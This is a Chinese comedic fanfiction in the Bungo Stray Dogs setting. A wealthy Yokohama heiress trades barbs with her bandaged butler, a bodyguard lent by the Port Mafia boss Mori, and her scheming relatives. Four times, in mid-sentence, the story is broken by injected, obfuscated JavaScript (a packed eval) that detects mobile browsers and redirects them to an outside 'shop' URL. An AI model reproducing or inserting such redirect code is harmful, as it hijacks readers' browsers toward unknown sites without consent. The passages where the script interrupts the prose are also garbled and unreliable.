《[文野]横滨总裁工作记事》 1. 管家和我 “我不想当横滨首富了。” 我啪的一声把万宝龙钢笔摔在桌子上,一把将上百亿的合同推走,仰躺在黑色的镶金鳄鱼皮尊贵转椅上双眼无神。 我喃喃自语,“我对钱不感兴趣。” 我高薪聘请的管家正在整理被我推得乱七八糟的文件,闻言他缠满了白色绷带的手顿了一下。 他那衣袖下的绷带密密麻麻,一动我就幻视绷带成了精。 老管家年纪大了退休了,HR筛了三百份简历才挑选出了这个毕业于名牌大学的卓越人才。 而这位卓越人才正用看发疯毛驴的眼神看着我。 “总裁,”高学历绷带精冷静道,“别发癫。” 我双手颤抖,指着他痛心疾首,“有钱又有什么用?连我最信赖的管家都不心疼我!” 绷带精管家微笑,“不心疼一天工作18小时的我自己,反而去心疼让我工作18小时的老板,我发癫。” 我瞪大眼睛:“难道我就没有工作18个小时吗!” 绷带精管家冷笑:“那财团是我的吗!” 我收回手,遗憾地叹口气。 我的管家,真的很难被PUA。 随我。 我最近心情不好。 因为我刚得到了一条不得了的消息—— 军警怀疑我和几起恶性失踪案有关,要针对我发动大规模的调查行动。 我冷笑,明面上说的是调查,暗地里还不知道会使什么绊子。 毕竟有些人,可见不得我安心挣钱。 我脚步虚浮的走到沙发前,躺在我限量版鳄鱼皮的尊贵大沙发里,平静且麻木。 “赚这么多钱又有什么意思?给横滨交了那么多税又有什么用?军警还不是随便编个理由说动手就动手?” 我越说越觉得悲凉,“就因为我赚的多就惹人忌惮,还想用失踪案这种莫须有的事情打压我。” 我激动地锤了下沙发,“是不是过几天连异能开业许可证都要给我吊销了?” “倒也不是您赚多赚少的问题,” 绷带家管家面带微笑,平静开口,“毕竟您当着横滨市长的面,蛐蛐他吃拿卡要,说这个市长不如换您当当。” 我生气地继续拍着尊贵沙发,“他都卡我最重要的项目了,说个坏话而已,就不能让让我吗!” 我撇嘴,“你是没见到他那副勒索受贿的嘴脸,他要我就给,我堂堂横滨首富难道是什么很贱的人吗?” 说到这我又愤愤不平,“想当年他竞选的时候我还是他背后最大的赞助商呢,现在他起来了倒翻脸不认人了,果然男人就是小心眼!” 绷带精管家看我一眼,默默告状,“倒是巧了,市长先生前两天也说过相似的话,他骂您女人就是容易情绪激动,还暴躁易怒。” 我冷哼一声,“唧唧小小,说话吊吊,男人就是不行。” 绷带精管家扬眉,“总裁大人,我个人觉得并不是所有的男性都是那样,比如我——您值得信赖的左右手,您这样说未免有失偏颇。” 我愣了一下,下意识看他一眼。 我:“……” 沉默且心虚。 绷带精管家顿了一下,然后慢慢扯出来一个笑,轻柔开口,“没关系,我没把您忘记本牛马是一名男性这件事放在心上。” 但是他的怨气好像可以养活10个邪剑仙。 我咳了一下,然后火速安抚,“你看你就这么大度,和外面那些男人都不一样,但那个老登就小肚鸡肠的很,果然男……咳,他就是小心眼!” 绷带精管家现在的情绪没有一丁点波澜,语气扁平的像是没有进化过的AI, “其实可能还因为您扎爆了他小舅子的车胎,把强力胶涂在了车把手上,并买通保安在他们于32楼开会时拉了电闸……他们从楼上走下来以后腿抖了三天。” 不愧是我。 我没有一丝心虚,甚至暗自得意,“那老登肚子撅那么老高,让他锻炼一下身体也是为他好。” 绷带精管家:“其实这些都不重要,不过小打小闹,最要紧的是……” 他从摊在桌子上的文件里精准抽出一张市长竞选表,他拿着那张表似笑非笑地看着我, “您在一个星期前请来了八十几家媒体,在市政厅当着他的面高调提交了这份竞选人报名表,宣布您将加入新一轮大选……您知道这有什么影响吗?” 我无所畏惧地背着手,站起身来走到巨大的落地窗前,从一百二十三楼俯视着我打下的江山,直接自信开口, “整个横滨都炸了!” 绷带精管家:“……那倒没有。” 我想了想,笃定道:“横滨黑白两道都炸了!” 绷带精管家:“……也不至于。” 我退而求其次:“那肯定市长办公室都炸了!” 绷带精管家张口欲言。 我盯着他,温馨提示:“我是你老板。” 绷带精管家:“……是啊!整个市长办公室都炸了!” 我满意地点头,随后无所谓地笑了笑,“炸就炸了,就是只炸市长老登一人也是炸,不炸怎么唬人玩呢?” 他歪头看我,“唬人玩?怎么说,我该恭喜我超绝行动力的上司成为58位市长候选人之一吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385718|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 我摆摆手,“正好竞选季嘛,抱着玩的,谁让他恶心我,我就来给他增加一点危机感。” 绷带精管家放下我那张竞选表,倒是笑了一下, “所以他针对您也很好理解了,毕竟您要是认真的话,以您的实力……和财力,市长说不定真的能换您当当。” 我冷笑一声,“要是他还敢再找我麻烦,我的竞选宣言就是‘投我票的一人给五千!’” 绷带精管家:“……很好,很实用。” 他捧完场又觉得这个宣言太草率,于是他耐心地问我,有没有准备更好更满足市民需要的宣言。 我疑惑,“五千也不需要吗?那给多少?五万?五十万?” 绷带精管家说这不是钱的事,主要这宣言听起来像个暴发户,还是个没有文化的暴发户。 我思考了一下觉得他说的对。 本着知己知彼百战不殆的想法,我让他把其他57个候选人的竞选宣言都找来我看看,说不定还可以借鉴一下。 翻开第一个,是个五十岁的老登,宣言是要实行一夫多妻制以解决少子化问题。 翻开第二个,是个三十出头的中登,宣言是“请和可爱又性感的我做朋友”。 翻开第三个,一个头上戴着红白帽子的斗牛犬,宣言是汪嗷呜汪汪汪。 我面无表情地合上了资料,想了想,又翻开到第一页递给我的绷带精管家。 不能我一个人遭这份罪。 绷带精管家看完之后也沉默了,他一言难尽地把那叠资料扔到一边,然后严肃地看着我, “总裁,你其实强的可怕。” 我也严肃地点了点头,怪不得58个候选人,现任市长那老登只疯狂的针对我一个,我还以为是我断他电梯让他爬楼他报复我呢。 绷带精管家问我,“那您是怎么想的呢?需要我去帮您联系竞选团队吗?” 我抬头看他,他站在我书桌旁边背对着落地窗,窗外的阳光很是刺眼,我看不清他脸上的表情。 我沉默了一会儿,然后笑了笑,“这不是你该问的问题,你别管,我自有我的方法和手段。” 他顿了一下,轻轻开口,“您难道……还不信任我吗?” 我摇了摇头,“倒也不是信不信任的问题,就是有个事你知道吗?” 我盯着他慢慢开口,“说回前面提到的那个失踪案,其实不仅是军警查我,听说就连武装侦探社也接了任务来查我,而且甚至都已经渗透到我身边了。” 我看着我这位新招没多久的绷带精管家,轻轻开口, “那些人是谁,你有头绪吗?” 2. 黑衣保镖和我 管家吸了一口气,他三两步绕过桌子走到我面前,不可思议地睁大眼睛,“这简直是危言耸听!” 他振振有词:“我一天24个小时都在总裁您身边,要是有心机叵测的人混进来怎么能瞒得过我呢!” 他现在站在我身前,落地窗透过的阳光打在他的侧脸上,他一张脸满是诚恳,看起来就是一个可靠的成年男性。 我看了他一会儿,然后重新躺回尊贵大沙发,麻木地看着天花板, “还真瞒过你了,这个消息板上钉钉,不过你也别沮丧,有心算无心,你没发现也是情有可原的。” 我狠狠叹气,“也不知道一个二个怎么都非要和我过不去……虽然我超级有钱,但是你老板我啊,其实是个超级好人呢。” 绷带精管家歪歪头,“那您担心什么呢?只要您是个没有杀人放火坑蒙拐骗吃喝嫖赌作奸犯科的超级好人,军警和武装侦探社又怎么会伤害您呢?” 我沉默了很久,然后扯下一张支票递给他。 他不明所以地接过去,用疑问的眼神看着我。 我幽幽开口,“去,给我买块最贵的墓地。 我很有钱,我没开玩笑。 抛开政治因素不谈,军警怀疑我,武装侦探社调查我,都不是没有道理。 毕竟在横滨这么一个危险的地方,人一旦有钱,就容易变态,而区区不才在下我,正是其中最有钱的那一个。 如果以我为标准,给全世界富豪打分的话,就连前两天砸了一艘白鲸飞艇的钞能力老外总裁都只能给九十八点八。 因为他有一点二。 堂堂一富豪,竟然因为和人打架用超能力透支了自己不知道多少个亿的身家,把钱全部用来强化自己的身体,结果还没打赢,简直就是我们富豪界的耻辱。 真浪费,这么多钱,给我多好。 我很不理解,但有点尊重。 因为他是我见过最讲武德的富豪,最后竟然亲自上场去打架。 换成是我,那两个和他对打的年轻力壮的小青年,估计连我的面都见不到。 毕竟我又有钱,又惜命。 我有什么?我有打手! 我直接从大街上雇他个两万人,编成1个师6个团18个营72个连216个排。 时薪三千,一天一结,两万打二,人海战术。 两万人民群众站在我这边,这能不赢?这能不赢? 至于他们为什么站我这边,你别管。 我的绷带精管家正站在我旁边整理我批好的文件,我志得意满,意气风发,骄傲地问他我这个精妙的点子行不行。 他说很刑。 正好我新招的黑衣保镖走进来汇报工作,他前两天请了假,今天正好回来上班。 他依旧穿着那从不离身的黑色长款风衣,衣摆无风自动,好像活的一样,从他入职以来我就没见他换过。 我那绷带精管家一见到他,就强烈建议我把这个完美的计划分享给他。 这黑衣保镖也才入职不到一个月,我当初招他就是因为他的异能很强。 我一想,前两天和老外总裁对打的那两个小青年好像也是顶尖的异能者。 于是我就让黑衣保镖设身处地地想一想,如果我拿出两万大军,阁下又该如何应对。 黑衣保镖听了以后沉默了很久,似乎是受到了不小的冲击。 他的碎发从两鬓垂下,发尾泛白,本就苍白的脸色又阴沉了不少,随后他艰难开口,“想得很好,下次别想了。” 绷带精管家倒是提出了一点颇有建设性的意见,“这是卖命的活儿,三千恐怕招不来什么像样的雇佣军。” 我摆摆手,“你们不是资本家你们不知道,三千招不来一个经验丰富的打手,但是却能招到一群清澈的大学生。” 我的管家和保镖看我的表情就像是看到了活阎王。 话是这么说,但我毕竟也不是什么魔鬼,我也没想让清澈大学生去卖命,谁说战争必须贴身互搏,拳拳到肉? 我有两万人我干什么不好非要去肉搏? 舆论战不是战吗? 键盘侠不是侠吗? 我可以骂人啊!我可以造谣啊!我可以精神攻击啊! 我可以雇两万个大学生一天二十四个小时在那俩小青年的门前、窗前、必经之路前一边爬行一边发出尖锐的爆鸣啊! 精神状态良好的可以健康快速地爬行! 精神状态不好的可以阴暗扭曲地爬行! 黑衣保镖人麻了,他木着脸看我,“你为什么要用这么歹毒的方式对我……对那两个人?” 我实话实说,“因为我没有素质。” 虽然没素质,但是也没风险。 我只是一个用温暖的金钱鼓励两万大学生上街释放自我的善良资本家。 路灯都不舍得挂我。 大学生玩的开心了说不定还会来谢谢我。 我一没杀人二没放火,军警头子来了也得说这只是颇为抽象的行为艺术。 我问绷带精管家行为艺术不犯法吧? 绷带精管家锐评:“不犯法,但有病。” 黑衣保镖的表情很是一言难尽,“什么样的大学生能愿意为了三千去干这种事?” 我神秘一笑,“如果我说我能加开实习证明呢?鄙人不才,正是总裁。” 绷带精管家看了我一会儿,然后露出了无法克说的微笑,“那么您最讨厌的合作对象港口 mafia的BOSS森先生的背上都得纹您。” 绷带精管家说的不对。 我并不是讨厌森先生,我只是见不得他好。 这中间的区别可大了去了。 我是很有钱,但我同时也很忙。 钱难赚,横滨首富也不好当。 为了巩固我的地位,我一天天的行程拉满,早六晚十007,时不时还能见到横滨凌晨四五点的太阳。 过得比高三生还像牲口。 而现港口mafia首领森先生,这是个很刑的男人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385719|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界上来钱最快的方法都写进了刑法,他照着干了半本儿,并且狂飙在要干那半本儿的路上。 大爷的,赚的这么快,嫉妒死我了。 其实我很早以前就认识他,那时他还不是港口mafia的BOSS,我也没有如今这么大规模的身家。 那时候我那身为横滨前首富的爹横死在他第四十二个小老婆的床上。 死相寡廉鲜耻,死因难以启齿。 为了遮掩,我晓之以珠宝动之以金条,请来了横滨前著名地下黑医,现港口mafia首领——森先生。 然后第二天全横滨都知道了我那首富爹的死样。 谢谢他,张大嘴巴帮我宣传,他人真好。 我见不得森先生好,森先生对我倒没什么偏见,武装侦探社的人潜伏到我身边这件事就是他告诉我的。 不仅给我告了密,还借给我一个手下保护我的安全。 那走两步咳一下的黑衣保镖,就是森先生从他们港口mafia借给我的。 说实话,第一次见这个咳的好像马上就要背过气的柔弱男子时我是拒绝的。 他看起来不像是来帮我的,他像是来碰瓷儿的。 我生怕他下一秒就晕倒在我面前,然后森先生立马出现,凶神恶煞地问我要个百八十万营养费、误工费、精神损失费。 这不是他们黑设会的传统艺能吗? 我委婉地拒绝这位柔弱的黑衣男子,柔弱的他双手插在外套里,目光沉沉的盯着我,然后猛地用他成精了的黑风衣掀翻了我的桌子。 用风衣,掀翻了我200来斤的,紫檀西番莲纹尊贵大木桌。 他管这招叫罗生门。 我觉得应该叫牛顿棺材板大粉碎术。 原来是超人,失敬了。 可是尊贵大桌子又做错了什么?它只是一个两百斤的孩子,才被大师雕出来不到一星期就□□报废了,我有钱也不能这么花啊? 但我没胆给他提意见,我怕下一秒我也报废了。 当然就算森先生给我一个绿巨人也不代表他和我关系有多好,我觉得他只是更见不得武装侦探社好。 而现在,那个潜伏到我身边的武装侦探社成员应该也见不得我好。 森先生扬起一抹意味不明的笑,慢悠悠的对我说:“看呐!多么严丝合缝的稳定生态链!” 合个屁,什么都合只会害了他。 我正好在港口mafia的大楼里和森先生商量续约合同的条款。 上个五年合约还有几个月就到期了,下个合约还没定下来。 这么多年大家都变了不少,到了这个节骨眼谁都想把自己的蛋糕切大一点。 他想多赚点,我也想多赚点,我俩吵了几个星期,现在依旧僵持不下。 眼看着这次也定不下来,我一挥手带着我的谈判团队准备去赶下个场子。 快走的时候森先生叫住了我,他神秘一笑, “我这有个秘密,你想听吗?” 3. 森先生和我 他那仿佛哄骗小孩的语气着实恶心。 我:“爱说说,不说滚。” 森先生:“哦,那你滚吧。” 我倒也没滚,毕竟我这人好奇心比较强烈。 于是我若无其事地走回去,若无其事地开口,“什么秘密,说来听听。” 森先生斜我一眼:“某些人好厚的脸皮。” 我面不改色:“说点我不知道的。” 森先生:“哦,武装侦探社的人已经成功潜伏到你身边了。” 惊闻这个天大的噩耗,我首先嗑了一把我家某生物医药公司特制的速效救心丸。 其次我用充满怀疑的目光盯着他,问他为什么要冒着得罪军警和武装侦探社的风险来帮我,毕竟我们的关系好像也没有好到这个程度。 他眨眨眼,“因为我这人爱好萝莉!正好,你十年前就是萝莉。” 我面无表情,“不要试图装变态来逃避我的问……” 然后我余光瞥到了一旁画画的爱丽丝,以及小女孩旁边的洋装山。 我:“……” 草率了。 谁家好人能用异能给自己变个小女孩出来玩现实版奇迹爱丽丝? 我诚恳道歉:“对不起,冤枉你不是变态了。” 他不以为意,笑眯眯道,“原谅你,不过我帮你其实也是因为你家族里那些老头子。” 我闻言大惊失色,“你还有恋老癖吗!?” 他没理我,搅动了一下手里的红茶,慢条斯理地品了一下,这才开口,“因为不想看到你家族里被你压下去的那些老东西,趁机翻身。” 他放下茶杯,依旧带着笑,但声音却充满了冷意,“他们呀,可真是……” 我接过话,“彼阳的晚意,初生的东曦。” 森先生挑眉看我,“你是在用诗一般优美的语言拐弯抹角的骂你大伯三叔五舅二大爷,顺便还玩了个华国谐音梗吗?” 我微笑着和他对视,“什么谐音梗,哪来的谐音梗?我只不过是在用富有创造力的文字光明正大的赞美我大伯三叔五舅二大爷。” 森先生啧了一声,“那很有文化了。” 我立马用跃跃欲试的眼神盯着他。 森先生果断开口,“赞美了他们,就不能再赞美我了呦!” 我遗憾地收回目光。 “就这么想‘赞美’我?”森先生撑着下巴饶有兴趣的看我,“你该不会还在因为当年那件事记恨我吧?” 我迫不及待:“对。” 我轻嗤,“怎么你良心发现要来道歉了吗?” 森先生沉思了一下,神色不定,“你记恨我,影响咱们签约吗?” 我奇怪的看他一眼,“约当然还是得签啊,我倒也犯不着和钱过不去。” 森先生大手一挥,大方开口,“那你继续恨吧。” 好好好,他还怪能屈能伸的。 其实我记恨他其实也不是只为了那一件事。 就算我老爹那不好的名声传出去,也顶多被人议论个两三天,股价虽然会有所浮动,但桃色新闻过几天就没人在乎了,不耽误我挣钱。 我记恨他是因为另一件事。 一件发生在更早之前的事。 早在他还是横滨刚刚崭露头角的小医生,早在我还是一个纯粹的小智障。 生理意义上的,智障。 说来话长。 我首富爹和我家族里那些乱七八糟的亲戚们叱咤风云了大半辈子,什么都拥有过,唯有一种东西他们做梦都得不到 ——异能。 这年头,异能都成了时尚单品。 喷火的、控水的、花里胡哨到压不住牛顿棺材板的,不管好不好用,很炫就对了。 有异能的人,除了政策上暗地里有各种优待,在个人能力上甚至奇异到了看起来和普通人有生殖隔离的程度。 物以稀为贵,异能者某种意义上已经成了一种特权阶层。 而像我们这种程度的商人,和人打交道时没点异能还真就矮一头。 不幸的是,我这一家都是异能绝缘体。 包括刚出生没几年的我。 这也怪不了别人,单纯就是概率的问题,有异能的人少之又少,就是现场基因突变也没这么快能凭空造个异能出来。 但是我爹不信邪。 穷人才靠变异,我们靠什么?我们靠科技! 于是我爹收集了横滨所有会医术的能人异士,建了好几个秘密实验室。 他自己不敢当小白鼠,就威逼利诱让这些人务必在我这个独生女身上搞个异能出来。 但是很不幸,实验失败了。 一不小心,我人傻了。 人财两空,我爹人傻了。 而当时在横滨小有名气的地下黑医森先生,就是在这个时候被我爹用强硬的手段“请”来给已经不哭不闹不动弹不说话的我治脑子的。 第一次见面时,我没头脑,他不高兴,我们都有光明的未来。 当然最后我康复了,毕竟一个傻子是不可能继承家产并且变成新一任横滨首富的。 但是我并不感谢森先生,因为他是个魔鬼。 字面意义上的,魔鬼。 我现在回想那两年的复健生活都不寒而栗,辗转反侧,夜不能寐,寝食难安。 谁家好医生会在一个可怜的有残缺的几岁孩子耳边整日魔鬼低语, “人家小朋友十岁的时候都学了十二年钢琴,背了九百首古诗,为了上学能跨过七座山和五头大象,你怎么就不行呢?” 如果是现在的我听了只会微笑着说,“人家四十几岁的时候还有死的呢,你怎么不去死?” 但是很不幸,我当时是个放弃思考的傻子。 最糟糕的是,复健的时候我爹基本上已经放弃我了,不仅他自己不怎么来看我,甚至也不让其他人来看我。 以至于年龄尚小且缺乏常识的我,竟然对着唯一能够接触到的男性人类认贼作父。 没错就是森先生,那个男性的,姑且勉强算是个人的东西。 在我愿意开口说话后,对着每天都在努力pua我的森先生直接自信打招呼,“父亲!” 森先生眼皮都在抽,让我不要随地大小爹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385720|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即使是今天,我仍然拒绝回忆那沉痛的两年。 现在我和森先生对于我康复的原因仍然各执一词。 森先生坚持认为是他妙手回春,我坚持认为是我自己自强不息。 以至于如今我俩一个成功接管整个家族,一个成功上位□□首领,都仍然达不成共识。 唯一能达成共识的,大概只有对我家族里那些为了异能丧心病狂的亲戚们的态度。 我们一致认为那些人是初生。 我认为他们是初生,小部分原因是因为我为了掌管整个家族,或多或少和他们都有利益冲突。 大部分则是因为我很记仇。 我可是因为他们足足失了两年的智!只有让他们同样智障两年才能减轻我的心头之恨! 但是森先生这么一个利益至上的纯种首领都看不上他们,就很说明我那些亲戚的抽象程度了。 当然,讨厌我那些亲戚并不代表他有多支持我。 毕竟森先生这个人也不是什么道德楷模,作为一个利益大于喜好的黑设会首领,他能派个人给我当保镖都已经很出乎我的意料了,再多的他也不会出手。 就算我和我那些虎视眈眈的亲戚拼的你死我活,最后不幸落败再被弄傻,他传过来的第一句话也会是, “你们家族内斗影响前面签的合约吗?” 和我他可以正常合作,和我家那些亲戚他可以捏着鼻子合作,总之对他影响不大。 但目前他还不太想捏着鼻子。 军警要调查我,森先生就说让我把家族里那些老东西看好,别让他们起风浪。 我们多少也算有点交情,他人品什么的不提,这句话说的倒没错。 我并不怀疑他的能力,他在给我治脑子的那两年就对我大伯三叔五舅二大爷了解的很透彻,他说这些人会有异动那就一定会有。 不过我也用不着他提醒,我爹死后,我上位本来也就是踩着这些人上的,多少内部斗争和家族秘辛暂且不提,我上位的结果其实也不算全然获胜。 不过各有牵制罢了。 我握着他们的命脉,他们拿着我的软肋,家族里本就是打断骨肉连着筋,各取所需。 不过明面上来看,我就是如今家族斗争的上位者,是独一无二的横滨首富。 但是背地里,军警前一秒放出要调查我的风声,我二大爷后一秒就打电话来骂我不孝不悌,目无尊长,这么长时间也不知道回老宅给他请安。 嗯,请安。 我这二大爷,封建余孽,活在古代,老宅里的佣人都得跪着给他服务,天皇来了都得指着他鼻子骂一句strong男。 电话是公放的,我的绷带精管家和黑衣保镖的表情很精彩,我的表情也好不到哪去。 我挂了电话,眼睛在他俩之间扫来扫去。 黑衣保镖警觉,“你这是什么眼神?” 还没开口,绷带精管家就好心地拍了拍黑衣保镖的肩膀给他解释,“这是在咱俩之间随机选一个怨种跟她去老宅挨骂的眼神。” 笑死,我根本不做选择,我把他俩全带去了。 4. 老宅和我 来到老宅的门口,门外等候的守卫拦住了我身后的乌泱乌泱的保镖们,一如既往的只允许我带两个人。 我带着黑衣保镖和绷带精管家踏入内门,首先经过的是一个安检仪。 是的,我和我家亲戚关系差到进对方家都要过安检的。 黑衣保镖一如既往阴着脸,绷带精管家倒是很有兴致。 这种兴致在我们终于被允许进门,但迎面飞来的却是一只花瓶的时候消失了。 那花瓶没冲着我,毕竟我二大爷只是想震慑一下我,他现在还没那个胆子伤我,所以这老登瞄准的是我身后那俩人。 我的管家和保镖可能也没想到,和我回老宅后竟然立马就要开始极限逃生。 毕竟那大花瓶砸头上真的会死。 我稍稍扭了下头,绷带精管家一个利落侧身,黑衣保镖一……一动不动。 哦对了,人家是超人。 啧啧,有异能真好。 我眼睁睁看着花瓶在离他几厘米的时候被翻飞的黑色布料挡住,duang,描金蝶戏骨瓷大花瓶就碎了一地。 我盯着地上的花瓶默哀,退一万步讲,花瓶又有什么错?他那风衣布料子看起来这么结实,把花瓶兜住多好啊。 我正惋惜逝去的花瓶,耳边就响起了我二大爷的怒吼,“放肆,跪下!” 他声是冲着我来的,手指的却是我那打碎花瓶的黑衣保镖。 黑衣保镖皱眉问我他这是什么意思。 还能什么意思?这古风老登儿指桑骂槐呢。 我揣着手,默默挑拨离间,“哦,我们家挺封建的,他觉得你不配站着和他说话。” 于是我喜闻乐见的看着这位港口mafia里令人闻风丧胆的杀手神色瞬间冷下来,看我二大爷的眼神像是在看死狗。 绷带精管家瞥我一眼,我目不斜视,假装刚刚没有挑拨离间。 等我二大爷前呼后拥的走近了,我才转头抑扬顿挫的对着绷带精管家嘱咐,“管家,给财务那边说花瓶记我二大爷账上。” 绷带精管家从善如流,“是,二百八十九万七千六百二十八,已经有零有整的报给财务了。” 我端着笑脸去扶气都快要喘不匀了的二大爷,扶他的时候扫了一眼他身边低眉顺眼的美女,嗯,没到两个星期就又换个几个。 我二大爷也看到了我身后那俩年轻男人,嗯,也和两个星期前我带来的人不一样。 我俩心怀鬼胎的对视一眼,一时都觉得对方是不可救药的色批。 二大爷对着保镖敢声色俱厉,对着我却笑的像是一个风干的丝瓜,我也不遑多让,立马笑脸扬起,声音夹起,AI都比我更拟人。 我刚满三岁的小侄子看了我们一眼哭了三个晚上。 他动不了我,我动不了他,还能怎么办,假笑算了。 我带着俩男人,他带着一群女人,我们正儿八经的坐在茶室里,爷慈孙孝,其乐融融。 二大爷一直在旁敲侧击我被调查这件事。 他问我军警为什么突然要调查我。 我懒得解释,又不得不敷衍他,就一边用睿智的眼神望着他,一边木着脸开始胡扯。 我斩钉截铁,“因为军警头子暗恋我。” 他眼皮跳了一下,“那武装侦探社为什么也要来调查你?” 我再接再厉,“因为侦探社社长也暗恋我。” 说完我就感觉后背凉凉的,回头一看,管家和保镖都正襟危坐,没什么异常。 嗯,可能是穿堂风吧。 我二大爷又咬了咬牙,连声追问,“可是森先生那里为什么要把自己的得力属下借给你?” 我面不改色的开口,“因为森先生和他的手下都暗恋我。” 奇怪,怎么后背越来越凉了? 二大爷气的手在抖,“敷衍我也得有个限度!这么明显的谎话你怎么说的出口?他们的年纪都可以当你爹了!” 我疑惑的看着他,“你是在说四十岁的中登不可能喜欢二十出头的妙龄少女吗?” 我恍然大悟的看着他身后的妙龄少女们,“所以这是你给自己收的义女吧!” 我快乐挥手,“嗨!表姑!” 二大爷立马红温,他说我发癫,他问地来我答天。 我理直气壮的说全世界都平等的暗恋我,路过的蚂蚁这么大路不走非要从我面前经过,肯定是因为爱我爱到无法自拔。 二大爷的表情很精彩也很好解读,他从没见过我这么厚颜无耻之人。 他气的口不择言,问我这么有本事怎么不把他们全收了当男宠,从此威震横滨湾,一统黑白两道。 我微笑着扯淡,“因为我是女铜。” 我疑惑的看着二大爷,“他们也是女铜吗?” 这话一说出口我就锋芒在背,这次我确定了,背后有鬼! 我立马转头,对上了黑衣保镖没来得及收敛的冷硬眼神,他正像个男鬼一样瞪着我,如果目光是实质,我大概已经被他瞪死了。 二大爷没注意到我的动作,他只是颤抖着嘴唇想要骂我,他今天晚上大概都得半夜爬起来大叫,“不是,她有病吧!” 我多有眼色啊,立马乖巧的端起茶杯递给他,让他平复心情。 我一边给他添水,一边让他快喝,还得寸进尺的问他我是不是天下第一孝顺。 滚烫的茶水递给他,二大爷毫无防备被烫的一激灵,他端着茶杯左右不停的倒手,从牙缝里挤出声来, “孝死我了。” 从老宅里出来后,我在台阶上站了一会儿。 每次和老宅里那些人打交道我都身心俱疲,开心不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385721|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点。 黑衣保镖一贯沉默的站在我后面,倒是我亲爱的绷带精管家好像很关心我的精神状态。 “不用太在意这些人,”他微笑的看着我,神情比平时温和了不少。 好像是在安慰我?不确定,再听听。 管家弯着唇,“毕竟就算是血缘关系……对您这样的人来说也没什么大不了不是吗?” 嗯……这是安慰吗?怎么总感觉阴阳怪气的,我咋样的人了真是的,我还是很在意血缘的好吗! 算了,就当我是在安慰我吧,不过外人都比我那些血脉亲人关心我,我觉得我更惨了。 但我还是强烈反对, “谁说血缘关系不重要的?有血缘关系的话,连私生子都有资格分家产,我二大爷要是气死了,我能分走他多少遗产?那可都是钱啊!钱啊!一分血缘一份钱!” 我严肃的看着绷带精管家, “我不允许任何人试图离间我和二大爷的亲情,这可是我最敬爱的掌握百分之五股份的二大爷啊!你不要害我!” 虽然我自己已经占股比例最高了,但谁还能嫌钱多不成? 绷带精管家还要再说什么,我左耳进右耳出,黑衣保镖凉凉看我一眼,那眼神好像在骂我不知好歹,然后转头对着我的管家轻声道: “我看她挺快乐,您就多余问她。” 我不快乐,我很悲伤。 我的保镖对绷带精管家比对我还恭敬,这日子没法过了。 明明我对他更好来着。 我还记得当初黑衣保镖从港口mafia被送到我办公室的那天,我正好在带着绷带精管家加班,他一进门看到我们就倒吸一口凉气,浑身都在抖, “太太太……” 我都看傻了,明明在港口mafia的时候挺内敛一小伙子,怎么进了我办公室这么激动? 我迟疑的问他怎么了,我的绷带精管家也静静的看着他。 他猛的噤声,原本没什么血色的脸都憋的通红,良久,他指着我的全球限量万宝龙钢笔缓缓道, “太喜欢了。” 我立马眼都不眨的就把钢笔送给他了。 还能有哪个总裁比我更体恤下属? 没有! 所以我现在有点挫败。 原来金钱真的买不来感情,这大概就是我们有钱人的诅咒吧。 私下里我痛心疾首的和绷带精管家诉苦,并且虚心的请教他怎么才能像他一样这么容易的收买人心。 绷带精管家想了想,问我想收买哪方面的人心。 我说我不挑,先讲讲怎么能像他一样打动我那黑衣保镖吧。 绷带精管家诡异的沉默了,然后他干笑着拍了拍我的肩膀,“呃……用真心。” 我是信他,还是信森鸥外是天皇。 5. 故人和我 他不愿意告诉我,我也没办法,毕竟我是遵纪守法的好公民,总不能给他打一顿再送去公海毁尸灭迹。 但是我自己遵纪守法拦不住我那些亲戚做法外狂徒。 我在家族里有些眼线,他们定期会给我汇报那些人的动态,今天正好又送来一叠小报告,看着比平时厚了不少。 我翻开看了一眼,气得一把将厚厚一叠小报告摔在桌上,脸色难看地像死了三天。 以前我能压着他们,结果现在一看我正在被军警针对,一个两个都开始蹦哒。 